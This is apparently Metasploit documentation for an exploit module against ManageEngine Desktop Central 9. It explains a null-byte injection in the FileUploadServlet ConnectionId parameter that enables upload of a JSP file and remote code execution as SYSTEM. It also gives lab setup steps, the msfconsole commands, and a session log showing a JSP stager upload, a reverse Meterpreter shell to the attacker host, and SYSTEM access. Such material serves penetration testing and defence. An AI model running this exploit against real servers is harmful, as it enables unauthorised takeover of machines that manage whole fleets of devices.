## Vulnerable Application

### Description

This module exploits a vulnerability found in ManageEngine Desktop Central 9. When uploading a 7z file, the FileUploadServlet class does not check the user-controlled ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to inject a null byte at the end of the value to create a malicious file with an arbitrary file type, and then place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM.
This exploit was successfully tested on version 9, build 90109 and build 91084.

**NOTE:** By default, some ManageEngine Desktop Central versions run on port 8020, but older ones run on port 8040. Also, using this exploit will leave debugging information produced by FileUploadServlet in file `rdslog0.txt`.
       
### ManageEngine Desktop Central 9

Desktop Central is integrated desktop and mobile device management software that helps in managing servers, laptops, desktops, smartphones, and tablets from a central location. It is used for automating your regular desktop management routines like installing patches, distributing software, managing your IT Assets, managing software licenses, monitoring software usage statistics, managing USB device usage, taking control of remote desktops, and more. It supports managing both Windows, Mac and Linux operating systems.

### Prerequisites

1. Start a Windows VM (such as Win 7)
2. Install a vulnerable version of ManageEngine Desktop Central. This exploit was tested on Build [90109](http://archives.manageengine.com/desktop-central/90109/) and [91084](http://archives.manageengine.com/desktop-central/91084/).
3. After installation, verify that the server is working by visiting it with a browser. Depending on the version, the server port may be 8020, or 8040.

## Verification Steps

1. Do: ```use exploit/windows/http/manageengine_connectionid_write```
2. Do: ```set RHOST [IP]```
3. Do: ```check```
4. Do: ```run```

## Scenarios

```
$ msfconsole
msf > use exploit/windows/http/manageengine_connectionid_write 
msf exploit(manageengine_connectionid_write) > set rhost 192.168.1.188
rhost => 192.168.1.188
msf exploit(manageengine_connectionid_write) > check
[*] 192.168.1.188:8020 - The target appears to be vulnerable.
msf exploit(manageengine_connectionid_write) > exploit

[*] Started reverse handler on 192.168.1.64:4444 
[*] Creating JSP stager
[*] Uploading JSP stager test.jsp...
[*] Executing stager...
[*] Sending stage (885806 bytes) to 192.168.1.188
[*] Meterpreter session 1 opened (192.168.1.64:4444 -> 192.168.1.188:61023) at 2017-04-15 17:35:29 -0500
[+] Deleted ../webapps/DesktopCentral/jspf/test.jsp

meterpreter > pwd
C:\ManageEngine\DesktopCentral_Server\bin
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

```
